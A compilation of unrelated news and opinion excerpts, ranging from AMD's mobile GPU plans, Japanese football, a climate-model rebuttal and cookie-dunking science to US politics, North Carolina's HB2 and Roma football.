public’s doubts about its professional standards, and that it will put independent journalism and strong editorial practices above everything else.  The station certainly has its task cut out.  – Contact us at [email protected]  SC/AC/RC
-The head of AMD development team graphics architectures - Kaduri Raja - has clarified the situation with the ability to create pocket graphics for smartphones, tablets and other portable devices. As is known, in 2009, AMD has sold Qualcomm's division and the development of similar purpose - platform Adreno. Since then, AMD efforts have been directed to develop graphical solutions for computer platforms and consoles. Chef Radeon Technologies Group acknowledged that the company does not see any sense to develop "pocket" GPU due to the high cost and the lack of demand.  At the same time, AMD remains open to any partnership proposals. If someone wants to finance the development of the graphics architecture for submobile devices - contact. Also, the company is willing to license the architecture for interested developers.
-Former Vissel Kobe manager Masahiro Wada is likely to succeed Ryoichi Kawakatsu as manager of second-division club Kyoto Sanga next season, informed sources told Kyodo News on Sunday.  Under the 56-year-old Kawakatsu who took the helm during the 2014 season, Kyoto has languished in the standings. With just one game remaining, the J2 club is in eighth place with a record of 14-10 with 17 draws. It is the fourth consecutive year Kyoto has failed to earn a promotion to the J. League top division.  Kyoto club president Hiroshi Imai said age will be a factor in determining Kawakatsu’s successor. The 49-year-old Wada, who managed Chonburi in the Thai Premier League this season, appears to fit the bill.  “Someone in their 40s is ideal (for the manager’s post next season),” said Imai.
-Our 1D forcing-feedback-mixing model published in January 2014 (and not paywalled, but also here) addressed the global average ocean temperature changes observed from the surface to 700 m depth, with the model extending to 2,000 m depth.  We used the 1D model to obtain a consensus-supporting climate sensitivity when traditional forcings were used (mostly anthropogenic GHGs, aerosols, and volcanoes), but a much smaller 1.3 deg. C climate sensitivity if the observed history of ENSO was included, which was shown from CERES satellite measurements to modulate the Earth’s radiative budget naturally (what we called “internal radiative forcing” of the climate system).  Abraham et al. recently published an open source paper addressing the various assumptions in our model. While we have only had a couple days to look at it, in response to multiple requests for comment I am now posting some initial reactions.  Abraham et al. take great pains to fault the validity of a simple 1D climate model to examine climate sensitivity. But as we state in our paper (and as James Hansen has even written), in the global average all that really matters for the rate of rise of temperature is (1) forcing, (2) feedback, and (3) ocean mixing. These three basic processes can be addressed in a 1D model. Advective processes (horizontal transports) vanish in the global ocean average.  They further ignore the evidence we present (our Fig. 1 in Spencer & Braswell, 2014) that a 1D model might actually be preferable from the standpoint of energy conservation, since the 3D models do not appear to conserve energy – a basic requirement in virtually any physical modelling enterprise. Some of the CMIP3 models’ deep ocean temperature changes in apparent contradiction to whether the climate system is being radiative forced from above. Since the 3D models do not include a changing geothermal heat flux, this suggests a violation of the 1st Law of Thermodynamics. (Three of the 13 models we examined cooled most of deep ocean since 1955, despite increasing energy input from above. How does that happen?)  On this point, how is it that Abraham et al. nitpick a 1D model that CAN explain the observations, but the authors do not fault the IPCC 3D models which CANNOT explain the observations, and possibly don’t even conserve energy in the deep ocean?  Regarding their specific summary points (in bold):  1. The model treats the entire Earth as ocean-covered.  Not true, and a red herring anyway. We model the observed change in ocean heat content since 1955, and it doesn’t matter if the ocean covers 20% of the globe or 100%. They incorrectly state that ignoring the 30% land mass of the Earth will bias the sensitivity estimates. This is wrong. All energy fluxes are per sq. meter, and the calculations are independent of the area covered by the ocean. We are surprised the authors (and the reviewers) did not grasp this basic point.  2. The model assigns an ocean process (El Nino cycle) which covers a limited geographic region in the Pacific Ocean as a global phenomenon…  This is irrelevant. We modeled the OBSERVED change in global average ocean heat content, including the observed GLOBAL average expression of ENSO in the upper 200 m of the GLOBAL average ocean temperature.  3. The model incorrectly simulates the upper layer of the ocean in the numerical calculation.  There are indeed different assumptions which can be made regarding how the surface temperature relates to the average temperature of the first layer, which is assumed to be 50 m thick. How these various assumptions change the final conclusion will require additional work on our part.  4. The model incorrectly insulates the ocean bottom at 2000 meters depth.  This approximation should not substantially matter for the purpose the model is being used. We stopped at 2,000 m depth because the results did not substantially depend upon it going any deeper.  5. The model leads to diffusivity values that are significantly larger than those used in the literature.  We are very surprised this is even an issue, since we took great pains to point out in our paper that the *effective* diffusivity values we used in the model are meant to represent *all* modes of vertical mixing, not just diffusivity per se. If the authors read our paper, they should know this. And why did the reviewers not catch this basic oversight? Did the reviewers even read our paper to see whether Abraham et al. were misrepresenting what it claimed? Again, the *effective* diffusivity is meant to represent all modes of vertical heat transport (this is also related to point #8, below). All the model requires is a way to distribute heat vertically, and a diffusion-type operator is one convenient method for doing that.  6. The model incorrectly uses an asymmetric diffusivity to calculate heat transfer between adjacent layers, and  7. The model contains incorrect determination of element interface diffusivity.  The authors discuss ways in which the implementation of the diffusion operator can be more accurately expressed. This might well be the case (we need to study it more). But it should not impact the final conclusions because we adjust the assumed effective diffusivities to best match the observations of how the ocean warms and cools at various depths. If there was a bias in the numerical implementation of the diffusion operator (even off by a fact of 10), then the effective diffusivity values will simply adjust until the model matches the observations. The important thing is that, as the surface warms, the extra heat is mixed downward in a fashion which matches the observations. Arguing over the numerical implementation obscures this basic fact. Finally, a better implementation of diffusivity calculation still must then be run with a variety of effective diffusivities (and climate sensitivities) until a match with the observations has been obtained, which as far as we can tell the authors did not do. The same would apply to a 3D model simulation…when one major change is implemented, other model changes are often necessary to get realistic results.  8. The model neglects advection (water flow) on heat transfer.  Again, there is no advection in the global average ocean. The authors should know this, and so should the reviewers of their paper. Our *effective* diffusivity, as we state in the paper, is meant to represent all processes that cause vertical mixing of heat in the ocean, including formation of cold deep water at high latitudes. Why did neither the authors nor the reviewers of the paper not catch this basic oversight? Again, we wonder how closely anyone read our paper.  9. The model neglects latent heat transfer between the atmosphere and the ocean surface.  Not true. As we said in our paper, processes like surface evaporation, convective heat transfer, latent heat release, while not explicitly included, are implicitly included because the atmosphere is assumed to be in convective equilibrium with the surface. Our use of 3.2 W/m2 change in OLR with a surface temperature change of 1 deg. C is the generally assumed global-average value for the effective radiating temperature of the surface-atmosphere system. This is the way in which a surface temperature change is realistically translated into a change in top-of-atmosphere OLR, without having to explicitly include latent heat transfer, atmospheric convection, temperature lapse rate, etc.  Final Comments  If our model is so far from reality, maybe Abraham et al. can tell us why the model works when we run it in the non-ENSO mode (mainly greenhouse gas, aerosol, and volcanic forcing) , yielding a climate sensitivity similar to many of the CMIP models (2.2 deg. C). If the model deficiencies are that great, shouldn’t the model lead to a biased result for this simple case? Again, they cannot obtain a “corrected” model run by changing only one thing (e.g. the numerical diffusion scheme) without sweeping the other model parameters (e.g. the effective diffusivities) to get a best match to the observations.  These are our initial reactions after only a quick look at the paper. It will take a while to examine a couple of the criticisms in more detail. For now, the only one we can see which might change our conclusions in a significant way is our assumption that surface temperature changes have the same magnitude as the average temperature change in the top (50 m) layer of the model. In reality, surface changes should be a little larger, which will change the feedback strength. It will take time to address such issues, and we are now under a new DOE contract to do climate model validation.
-An accomplished war photographer from nationalist Short Strand, who has just opened an exhibition on Orange Order parades, is encouraging nationalists to watch “the spectacle for themselves before making their minds up”.  Frankie Quinn, 48, who started his photographic career when he was 16-years, covered the Troubles before being asked to use his skill in Sarajevo, Bosnia and Palestine.  For the last three years Mr Quinn - who has published two books of peaceline photographs - worked on ‘The Orange’ capturing the action from urban and rural parades.  He said during his latest project he had “very little hassle with people more interested in my 1964 Rolleiflex camera”.  He said he wanted to get “a wider meaning” to parades that are an “alien tradition” to a nationalist from Short Strand, and which he says are “such anathema and source of tension for my community. I came into this project with as open a mind as possible and what I experienced has given me a certain respect for the spectacle, the regimental way in which the bands conduct themselves, the camaraderie and competitiveness between the bands and how the parades differ between Belfast and the rural areas, as well as a deeper understanding for me of what these parades mean to the Protestant community,” he said.  During the project, Mr Quinn said he established a “better understanding of the organisation and an admiration of their parades”.  “The Orange Order have something there that could be bottled and sold,” he said. “But there is a huge difference between the rural parades and those in Belfast.”  He said he has seen “a great change in Orange parades over the years after more contentious ones have been sorted out”. “I would recommend that anyone go and see the parades and even take a camera with you,” he said. “They have something there to draw people in and for tourism.  “Catholics can go and observe, they don’t have to take part. They can stay on the fringes and see how parades are conducted and make their own mind up. They don’t have to go to contentious parades.”  ‘The Orange’ exhibition runs from June 20 to July 26 [closed from July 10 - July 20 July] in the Red Barn Gallery in Belfast.
-Gander Mountain, the St. Paul, Minnesota based outdoor retailer, is reportedly preparing to file for bankruptcy.  There have been no official details confirmed as company spokesman, Jess Myers, said the company has taken a “vow of silence.”  This is yet another hit on outdoor/sporting goods retailers, as we’ve now seen Sports Authority declare for bankruptcy and close 300 stores last year, and not to mention Cabela’s being acquired by Bass Pro Shops; although that deal is reaching its own snags and may be falling apart as well.  Even though Gander Mountain has taken its “vow of silence,” there is plenty to go on that suggests hard times are afoot for the outdoor retailer. If you take a look at their website, a plethora of sales and markdowns on all regular-priced items will tell you all you need to know.  What's Your Reaction?
-Jennifer Johnson defeated her husband, David, in a Ward 1 warden position race in Maine on Election Day 2013. The final tally was 127-76 for the wife, who is the Democrat of the union. Here’s the ballot.  The reason for the two running was to ratchet up interest in public affairs — and to showcase that GOP and Dems can get along.For example, despite being registered on different sides of the aisle, both are pro-choice and both believe in marriage equality. He does classify himself as a fiscal conservative, whereas she takes more of an interest in education. She has admitted both that “the empty lines on ballots make me sad” and “if we can get more young people involved in politics, that would be tremendous.”  The couple is now using the attention their race provided to kick off a food pantry in Waterville, ME, an area with a higher-than-average poverty rate.  We’ve seen the spouses-from-opposite-sides-of-the-aisle thing before, most notably here:  [youtube=http://www.youtube.com/watch?v=NEQK4i_AyNE&w=600&h=315]  It’s more common than you might think for spouses to have differing viewpoints; The Today Show did a feature about one such couple around Election 2012. This couple “finds common ground in local races.” These dynamics also extend to the bedroom. As you might imagine, Reddit has tackled this topic multiple times: here, here, here, and here. As with most things in relationships, the underlying premise/idea of most of these posts is that two people can make it work, no matter how contentious on some issues, if they have core, fundamental elements in common.  And ultimately, don’t both parties sound pretty similar, especially every fourth year?  [youtube=http://www.youtube.com/watch?v=P34SUDahiA0&w=600&h=315]  The Johnsons didn’t campaign against each other, which is likely a good thing given the real reasons they were doing this (and considering that the warden role is often left unfilled). It should also be noted that Jennifer (the victor) is an active volunteer at the elementary school of her children. These are legit people, doing awesome things, in a small community in America. I love it. Ultimately, they both have the same goal: kids should be fed.
-Dunking Science: Do Cookies Really Taste Better Dipped In Tea?  Enlarge this image toggle caption Daniel M.N. Turner/NPR Daniel M.N. Turner/NPR  Brits and Americans may have split less than amicably a couple of centuries ago, but we can still find cultural common ground when it comes to life's pleasures: The Beatles, Downton Abbey and dunking cookies.  Of course, the Brits call them "biscuits" and dip primarily in tea, while we are more promiscuous and are willing to plunge our treats into coffee, hot chocolate or even milk.  But does immersing a cookie into a warm beverage really make it taste better? And if so, why?  That's what the British chef Heston Blumenthal recently set out to discover on his TV show, Heston's Fantastical Food. With the help of a high-tech gadget inserted up the nose, he found that a chocolate-covered biscuit dipped into hot black tea did indeed have more flavor than an undunked one.  Enlarge this image toggle caption Courtesy of the University of Nottingham Courtesy of the University of Nottingham  Blumenthal isn't well-known the U.S., but he's a household name in England. He writes cookbooks, stars in TV shows and runs The Fat Duck restaurant just west of London. A few years ago, The New York Times said The Fat Duck "is widely considered one of the world's finest cathedrals to modernist cuisine, the sort of restaurant where a meal could start with nitro-poached aperitifs, finish with 'the smell of the Black Forest' and take four hours in between."  The chef likes to understand the chemistry behind his food. So to solve the mystery of the tea-drenched biscuit, Blumenthal enlisted the help of food scientists at the University of Nottingham. They've developed a device, called MS-Nose, which measures the amount of flavor released in your mouth as aromas when you take a sip of cabernet, melt a chocolate bar on your tongue or chew on a cookie.  When Blumenthal hooks himself up to the device and starts chomping on a chocolate-covered digestive, the MS-Nose sends data back to a computer screen, where the levels of flavor released are plotted on a chart.  "We're measuring the biscuity flavor — known as methylbutanol to the boffins" — (that's British slang for science types) — he says during an episode of his show that aired in the U.K. last November.  Methylbutanol is a compound that gives cookies and baked goods a toasty or malty taste. When Blumenthal chews on a dry biscuit, the flavor dutifully registers on the line graph on a screen. But when he then dips the biscuit into tea and takes another bite, the "flavor line" noticeably spikes up on the chart.  "The results are astonishing!" he exclaims. The wet biscuit not only released more cookie flavor, but the aromas also burst into Blumenthal's mouth more quickly.  "Dunking makes the biscuit taste more biscuity," Blumenthal says. "That's complete evidence that dunking is better than not dunking."  Enlarge this image toggle caption Screenshot from shazzandfred/YouTube Screenshot from shazzandfred/YouTube  Shoving a tube up one's nose may seem like a funny way to measure flavor, but it makes sense when you consider that flavor is made up of both tastes and aromas, says food scientist Avinash Kant, who works with the MS-Nose at the company Flavometrix on the Nottingham campus.  Tastes, Kant explains, are detected on the tongue and include the basics, like salty, sugary, sour and bitter. The aromas, meanwhile, are sensed in the nasal passages, right between the eyes and behind the bridge of the nose.  "There are connections of passageways through your nose, ears and mouth," Kant tells The Salt. "When food interacts with your saliva in your mouth, aromas get released" and travel to your nose from the back of your throat.  That's where the flavor magic happens, Kant says. "There are thousands of aromas, all with slightly different properties. They are the primary factor that determines a food's flavor." They separate $100 Bordeaux from "Two-Buck Chuck" (which is now $2.49, FYI), Italian Parmigiano-Reggiano from string cheese, and a dunked biscuit from a dry one.  To reach your nose, Kant says, these aromas have to jump from the cookie into the air. The hotter and wetter the biscuit, the more easily the aromas can make this leap.  "Typically, the hotter the food, the faster things move," Kant says.
-CompareCamp  Ask consumers where their shiny new iPhone 6 or iPhone 6 Plus came from and you might get "the Apple store," or "China" as an answer. But the origin story for the bigger ( and bendier) phones is a bit more complex, as you can see in the infographic below created by product-review site CompareCamp.  The graphic by author Alex Hillsberg definitely contains some facts I found surprising. I knew China was heavily involved in the production of iPhones, for example, but didn't realize that Japan came in second as the country with the largest number of Apple suppliers. And speaking of those suppliers, I also wasn't aware of the fact that companies like Samsung and Sony were so intimately involved in making the iPhone 6. Aren't they Apple's archenemies?  As with the best infographics, there's a lot of great easily digestible information here, so I'll leave it to you to have a nibble. If you too learn something new, do let us know in the comments section below.
-Image caption Entamoeba histolytica in the gut cause dysentery  A cheap drug, which is already prescribed for arthritis, could fight amoebic dysentery, according to researchers in the US.  They were testing old drugs to see if any killed the dysentery bug.  Tests on animals, published in Nature Medicine , showed that auranofin was 10 times more effective than the best drug currently available.  Further studies will be needed in humans, but researchers say it holds great promise.  Amoebic dysentery is caused by Entamoeba histolytica, which infects the bowels. It results in severe diarrhoea including bloody stools. More than 70,000 people are thought to die from the disease each year - most are in developing countries.  US researchers tested 910 drugs, some of which had already been shown to be safe for human use, on amoebas in the laboratory.  It showed that auranofin was much better than the current treatment, metronidazole, at killing Entamoeba histolytica.  Follow-up experiments showed that it was also more effective at treating mice and hamsters which had been infected with the ameoba.  In use  It has been prescribed to patients with rheumatoid arthritis since 1985.  One of the researchers, Prof James McKerrow, from the Sandler Center for Drug Discovery at the University of California, San Francisco, said: "When we're looking for new treatments for the developing world, we start with drugs that have already been approved.  This new use of an old drug represents a promising therapy for a major health threat Prof Sharon Reed, University of California, San Diego  "If we can find an approved drug that happens to kill these organisms, we've leapfrogged the development process that goes into assessing whether they are safe, which also makes them affordable throughout the world."  Prof Sharon Reed, from the University of California, San Diego, said: "Because auranofin has already been approved for use in humans, we can save years of expensive development.  "This new use of an old drug represents a promising therapy for a major health threat."  Dr Graham Clark, a reader in molecular parasitology at the London School of Hygiene & Tropical Medicine, said metronidazole was very effective, but it did have side effects and was not always successful.  He said: "The work presented in this paper is particularly useful as it identifies an existing drug, auranofin, that has already been tested and approved for use in humans, which seems to be at least as effective as metronidazole.  "Although auranofin has to date only been tested in animal models of amoebic disease, this means that there is now a potential alternative treatment for individual cases where metronidazole fails to cure the infection or in the event resistance to metronidazole emerge as a clinical problem in the future."
-Supercars are supposed to lose weight over their life cycles, right? Not so the GT-R. It has hovered at, around and sometimes above the 1700kg mark for a while (the current version clocks in at 1740kg, the Nismo GT-R at 1720kg), and it’ll likely stay that heavy.  According to the GT-R’s ‘father’, Kazutoshi Mizuno, anyway. A while back he animatedly told TG that the legendary supercar had to be that heavy.  “All journalists say GT-R is heavy, heavy, heavy - it should be lighter, lighter, lighter! I say, journalists need to develop a more professional level of thinking! More study! More thought! The GT-R needs to be this weight. A car with less weight does not handle. Lighter weight can be dangerous, and it will not be driveable by all customers.”  He uses downforce as an example. “An F1 car weighs 560kg, more than 600kg with the driver,” he says. “How much downforce does an F1 car generate? Around 1300kg. So what is the total weight? 1860kg. A GT1 racing car weighs between 1200kg and 1300kg, plus downforce of 600kg, the actual weight on the car is 1800kg…”  With road cars unable to generate such vast downforce figures, that means we’re looking at a hefty kerbweight. “But with performance accessible to all customers. I have a big responsibility to the customer,” he once told us.  Top Gear talks to the ‘father’ of the GT-R
-Newly christened Funcom CEO Ole Schreiner recently spoke with GamesIndustry.biz regarding the fickle world of MMO development and the future of conspiracy-fest The Secret World. He said the studio "definitely has the tools" to install a free-to-play system into The Secret World if needed, but didn't confirm any solid plans to do so.  "We tried leaving our options open during development so that we could launch with a different model should we have decided during development that's what we wanted, but eventually we did settle on the subscription model and that's what informed much of the game's design," Schreiner said. "That said, we definitely have the tools to turn The Secret World into a free-to-play game -- or even hybrid -- should we decide to do that somewhere down the line."  As part of the dwindling camp of subscription-based MMOs, The Secret World still receives content updates and regular patches despite Funcom's layoff struggles earlier this month . Schreiner also recognized the competitive challenge free-to-play presents to subscription models, saying:  "I do think that as free-to-play offerings keep raising the bar in terms of quality and longevity, it's becoming more and more difficult for subscription games to live up to player's expectations. If you're demanding a monthly fee from someone, they obviously expect more value than they get from a similar free-to-play offering. There is no way getting around the fact that a growing number of gamers expect MMOs to be free-to-play, or at least buy-to-play (such as Guild Wars 2), so is building a successful subscription-based MMO becomes more challenging."
-WASHINGTON — Sean Spicer held the press briefing from the White House Monday. The press secretary answered questions on why Donald Trump’s son-in-law is in Iraq right now and reports that Susan Rice requested the unmasking of Trump transition officials.  On why Jared Kushner is in Iraq  Donald Trump’s son-in-law is visiting Iraq currently with Gen. Joseph F. Dunford Jr., who serves as the chairman of the Joint Chiefs of Staff.  “I don’t think it’s a binary choice in this case,” Spicer said when asked why Kushner is there and not Secretary of State Rex Tillerson. “Both Kushner and [Tom] Bossert are on the trip at the request and invitation of Gen. Dunford. He believed it was an opportunity for both of them. He was invited by Dunford to see the work being done there firsthand. I don’t think that translates to, ‘He’s overseeing Iraq.'”  Spicer said Kushner will be briefed on our military effort there and will express the commitment of the U.S. government to Iraq.  On reports that Susan Rice requested the unmasking of names of Trump transition officials  “I will say there is a troubling direction some of this is going in. We are going to let this review go on before we jump to [conclusions]..I think it is interesting in the lack of developments we’ve seen.”  “Me getting to the motives assumes certain things as fact.”  On the H1-B visa program  “The White House acknowledges that there are issues with the program as it stands. Several laws on the books went unenforced in the last administration. As the Department of Justice made clear, the Trump administration will enforce laws protecting American workers from discriminating hiring practices.”  On where the president’s paycheck is going  As a candidate, Trump said he would not accept a paycheck if elected. Because he is legally obligated to get paid, Spicer announced that Trump will donate his first quarter paycheck — some $78,000 — to the National Parks Services.  Secretary of the Interior Ryan Zinke made an appearance to accept the paycheck.  On the explosion at a Russian metro station  Spicer called it “reprehensible” and said the United States is prepared to offer assistance if needed.  On the ‘nuclear option’ for Neil Gorsuch  “The president said a week ago that this is something he would support. It’s up to Mitch McConnell. Make no mistake, Neil Gorsuch will be voted as the next Supreme Court justice.”
-The left-wing media’s attack on Donald Trump is also an attack on anyone who doesn’t hew the progressive line.  Life is rich, especially when you can watch the progressive media have a meltdown over the success of Donald Trump — even if it’s a faux meltdown.  Colbert King writing in The Washington Post quotes, approvingly, Amanda Taub writing on Vox, who says Donald Trump is an authoritarian. E. J. Dionne also plays the authoritarian card in a February column. The gist of the Vox piece is reminiscent of the 1964 Fact magazine article that proclaimed: “1,189 Psychiatrists Say Goldwater Is Psychologically Unfit to be President!”  What are the authoritarian supporters of Trump accused of wanting? The Taub piece says policies such as “prioritizing military force over diplomacy against countries that threaten the United States; amending the Constitution to bar citizenship for children of illegal immigrants; imposing extra airport checks on passengers who appear to be of Middle Eastern descent; and requiring all citizens to carry a national ID card to show a police officer on request.”  Not everyone will agree on the desirability of those four proposals, but it’s not clear how approving of them is evidence of authoritarianism. Reasonable people may differ on the question of birthright citizenship, but the better argument is that the Fourteenth Amendment does not confer U.S. citizenship on the children of illegal aliens. For a short debate on the issue, see here.  But Progressivism Is Inherently Authoritarian  Even if all the policies cited were evidence of authoritarianism, they are hardly more authoritarian than the 82,000-page Federal Register, which imposes a burden on the American people of $1.8 trillion a year, according to Wayne Crews of the Competitive Enterprise Institute. Or President Obama’s mandate that everyone must buy health insurance. Or that Roman Catholic nuns must have health insurance that covers contraceptives and abortifacients. Or that disoriented boys who see themselves as girls must be allowed to shower with girls. And what about former New York City Mayor Michael Bloomberg’s war on sodas and other sugary drinks larger than 16 ounces?  Even if all the policies cited were evidence of authoritarianism, they are hardly more authoritarian than the 82,000-page Federal Register.  Progressivism — the proper name for the governing philosophy of those people who used to be called “liberals” — is inherently authoritarian, and its primary products are lamentation, and mourning, and woe.  The Washington Post complains that Trump “applauds the prospect of twisting the Constitution to limit First Amendment freedom of the press.” But has The Washington Post objected to the proposal of Sen. Sheldon Whitehouse (D-Rhode Island) to have the U.S. Department of Justice use RICO (the Racketeer Influenced and Corrupt Organizations Act) against people who deny climate change — the First Commandment of progressivism? Or Hillary Clinton’s proposal to amend the First Amendment in order to curtail individual contributions to political campaigns?  Trump Represents What the Left Thinks of the Right  You have to marvel at Timothy Egan’s comment that Trump “wants to apply a religious test for entry into a country whose founders were against any such thing.” Appealing to the American Founders is like turning a light on and off. What would Egan say about the Founders’ thinking on, say, the tangled web of sexual pathologies progressives celebrate, or abortion, which they refer to as reproductive rights?  This from the people who are salivating to have Hillary Clinton elected—Hillary Clinton, the most corrupt person on the planet.  And you have to love this from The Washington Post editorial team. Beating up on Republican National Committee Chairman Reince Pribus, who had said “Winning is the antidote to a lot of things” the Post wrote: “So it falls to other leaders to decide if their party will stand for anything other than winning. A political party, after all, isn’t meant to be merely a collection of consultants, lobbyists and functionaries angling for jobs. It is supposed to have principles….”  This from the people who are salivating to have Hillary Clinton elected—Hillary Clinton, the most corrupt person on the planet — with the possible exception of Equatorial Guinea President Teodorin Obiang Nguema Mbasogoea, Africa’s longest-serving ruler. He has ruled the tiny, oil-rich West African country since he overthrew his uncle, Francisco Macías Nguema, in a bloody coup d’état in 1979, the year Carolyn Moffet, a legal secretary in Little Rock, Arkansas, said she was sexually abused by Bill Clinton.  Here’s what Republicans and conservatives need to understand: the left-wing media’s attack on Trump is not just an attack on Trump. It’s really an attack on anyone who doesn’t hew the progressive line. A March editorial in The New York Times gave the game away: “Last week Marco Rubio and Ted Cruz, elected to the Senate partly on their appeal to extremists, seemed….” Catherine Rampell wrote in The Washington Post, “Is Donald Trump really so much crazier or more extreme than the other Republicans presidential candidates?”  A man who’ll accuse President Reagan of racism will — does it need to be said out loud? — accuse whoever the Republican nominee is of racism.  Dionne wrote, the Republican Party “has subtly and not so subtly played on racial resentment —…Ronald Reagan’s famous ‘welfare queen’ — for decades.” A man who’ll accuse President Reagan of racism will — does it need to be said out loud? — accuse whoever the Republican nominee is of racism, and probably also of wanting to take us back to the darkest days of history — and you know what that means.  These comments are not an endorsement of Trump. Why would a conservative endorse Trump when the rightwardmost viable candidate since Barry Goldwater and Ronald Reagan is a major contender, and now doing better than ever? This is simply a reminder to conservatives, and Republicans, that whatever the progressive media are saying about Trump today they will be saying tomorrow about the Republican nominee, whoever he is. And as Mary McCarthy said of Lillian Hellman, everything they say is a lie, including the words “and” and “the.”  They’re all-in for Hillary — the second most-corrupt person on the planet, just after Equatorial Guinea President Teodorin Obiang Nguema Mbasogoea.  Life will be a lot less rich, if Hillary Clinton is elected president, for those who are already suffering under the policies of progressivism and authoritarianism, the socialist twins. That will be true even if Hillary does not engage in her hallmark corrupt practices, and even if she is only the 242nd most corrupt person on the planet.
-HB2, which restricts bathroom options for transgender people and overrides local laws to protect LGBT people from bias, has left residents furious  Prospects for North Carolina repealing its divisive “bathroom bill” in the near future are fading rapidly as the year draws to a close, amid a fresh outbreak of anger and recrimination reflecting anything but a seasonal spirit of peace and reconciliation in the state.  An attempt to repeal the hot-button law, which restricts bathroom options for transgender people in a way opponents have called “inhuman”, ended in tatters after a special session of the legislature on Wednesday.  Fresh efforts to get rid of the law, known as HB2, are now expected to be made as soon as the state assembly reconvenes in January, but neither Democrats nor Republicans who support repeal expect success for those attempts in the short term.  Trans people are terrified of what lies ahead. We must look out for one another | Hannah Simpson Read more  However, Republican state senator Jeff Tarte, who belongs to the state GOP minority that supports repeal, told the Guardian on Thursday that he was optimistic that the law could be gone by the summer.  “It was bad legislation. It was a mistake and when you make a mistake you need to own it and you need to correct it,” he said.  Tarte insisted that any discrimination against transgender people in North Carolina was “an unintended consequence” of the law.  He added that the failure to repeal it during the special session of the state general assembly on Wednesday in Raleigh was “excruciatingly frustrating”.  Democratic state senator Jeff Jackson called Wednesday’s legislative session “a debacle”.  Tarte lamented that the failure to repeal the bill would continue to have economic repercussions for the state.  The legislation has already cost the state at least $630m in lost business since it was passed last March, according to estimates by Forbes.  “It will have a further impact on jobs,” Tarte said.  House Bill 2 (HB2) was passed last March and dictates that transgender people in North Carolina must use the public bathroom that matches the gender stated on their birth certificate – not the gender they identify as. That includes all public sector bathrooms, such as in government buildings, public universities, public schools and libraries across the state.  “At least 70% of people in North Carolina now believe that HB2 hurts the state and they don’t agree with it,” Tarte said on Thursday, citing recent opinion polls.  The legislation was introduced in response to the city of Charlotte passing a local anti-discrimination law designed to protect gay and transgender people from bias, including allowing everyone to use the public bathrooms that matched their gender identity. HB2 overrode the Charlotte law, and prohibited such LGBT anti-discrimination laws statewide. The legislation also blocked local areas from raising the minimum wage above the state level.  The new statewide law, also known as the “bathroom bill”, brought recriminations, lost business, and resulted in music boycotts and protest tours.  Facebook Twitter Pinterest Republican state senator Norman Sanderson holds his head during a failed attempt to repeal HB2 in Raleigh, North Carolina Wednesday. Photograph: Jonathan Drake/Reuters  Dennis Edwards, chief executive of the greater Raleigh convention and visitors bureau told the Guardian on Thursday: “The result in the legislature on Wednesday was very disappointing. Every day that the law is in place it’s tarnishing the reputation of the entire state. This is not who we are. We have always been a welcoming and inclusive community and this is giving out the wrong message.”  The compromise deal this week involved the city of Charlotte, state Democrats and Republicans and both the outgoing and incoming state governors. It was expected to lead to the repealing of HB2 in the legislature on Wednesday night.  But after much deliberation behind closed doors, the attempt failed, with Democrats and Republicans accusing each other of breaking their side of the bargain.  Some who support repeal confidently forecast on Thursday that the legislature will have another go at getting rid of the controversial law in the next assembly session in January.  But they predicted it will not be quick to succeed.  Jackson has already sponsored a bill to repeal HB2 and is prepared to sponsor another one to put before the legislature in January, but admits that Republicans won’t consider a bill devised by Democrats; the one that failed on Wednesday came from the GOP.  Democrats are already reeling from another special session of the state assembly last week during which the dominant GOP passed a law stripping incoming Democratic state governor Roy Cooper of key powers. Cooper narrowly beat Republican incumbent governor Pat McCrory after the race took a month longer election night to decide.  “We have to vote fully to repeal HB2, there are enough Democrats and moderate Republicans to do that,” said Jackson. “HB2 loosed a witch hunt and has emboldened those who see transgender people as inferior. That’s just wrong.”  Jackson said there had never been a single reported incident in the US of a problem with, for example, male sexual predators posing as transgender people as an excuse to enter female public restrooms and harass women and girls, as some supporters of HB2 argued was a legitimate risk the law was designed to guard against.  “It has never happened,” Jackson said.  As Republicans lose their grip on North Carolina, they deal one final blow Read more  Tarte said that people were using HB2 to discriminate against gays, lesbians, bisexual and transgender (LGBT) people and “that’s a mistake”.  He predicted that the chances of repealing HB2 quickly in another special session of the assembly early in 2017 were unlikely, but if properly examined and debated through the full legislative process could result in a repeal by the summer.  “If not, North Carolina is going to continue to suffer unnecessarily. But I think in the end reasonable minds will prevail,” he said.  James Esseks, national director of the American Civil Liberties Union LGBT and HIV project, described the impact of HB2 on the queer and trans community of North Carolina as “inhuman and devastating”.  But he added: “I’m fundamentally optimistic that all the debate over this is going to lead to less division in the longer term and greater progress for transgender people in our society.”
-Luciano Spalletti broke the habit of a lifetime on the eve of Roma’s trip to Porto, revealing that Kevin Strootman will play in the game at the Estadio do Dragao.  “Strootman will start,” began the Giallorossi coach, before giving his take on Roma’s goalkeeping situation: “I don’t see why we can’t pick the keeper one game at a time like with other positions. I don’t have an answer. It’s simple, the guy on form plays.”  A busy summer transfer window continued earlier with confirmation of the signing of Bruno Peres.  “He’s a player we were chasing," Spalletti added. "First of all because he’s a good footballer. Roma want to be a top side and for that we need a strong team with equally good options on the bench. Bruno Peres is quality. He’s a great player and will join up with other excellent footballers.  "He has very specific attributes, he gets up and down the flank and because of the injuries we’ve sustained, we were lacking someone who can do that – someone who gives us the option of playing down both sides. His attributes gives us an added dimension.”  How have Roma changed compared to the side you took over in January?  “Some good players left and they have been replaced by equally accomplished ones. Above all guys who had a lot of experience at big clubs. I believe this has brought a touch more professionalism to the dressing room, along with experience. When you have all of those attributes, character comes as a result. We’re a strong side in every area of the pitch and we’re ready for this big match.”  Will Edin Dzeko have a job to do defensively too?  “I expect that from every player who I pick to start. I want my players to be completely involved in the match. Often when we think about team selection we tend to focus on a piece of skill or a goal but if you consider that the ball is in play for on average 55 minutes and there are 22 players on the park, everyone touches the ball for around 90 seconds. Yet they still have to do something for the rest of the time.  "Being good on the ball is not enough. That’s why I expect him to defend if he starts, that he performs well and puts in the effort to help out his team-mates.”  Are you considering adding Bruno Peres to your UEFA squad list for this tie?  “We’d like to include him in our squad for the second leg, although in terms of the paperwork we could technically pick him for tomorrow. We won’t bring him with us this time but he’ll be involved next week.”  Will the Brazilian allow you to consistently pick a three-man defence?  “No, we won’t always play with three at the back. Peres can operate as both a genuine full-back and a wing-back. He’s a good player with ability and still has to improve but we’ll try to use both formations. We were lacking someone who could play this position and give us a Plan B.  "We have four massive matches in the space of 11 days and tomorrow’s game is hugely important for the club, me and the players, above all for their careers. Then, however, there’s another equally important fixture [Roma v Cagliari]. It’s not easy to recover, we need 20 good players and he gives us a different option. 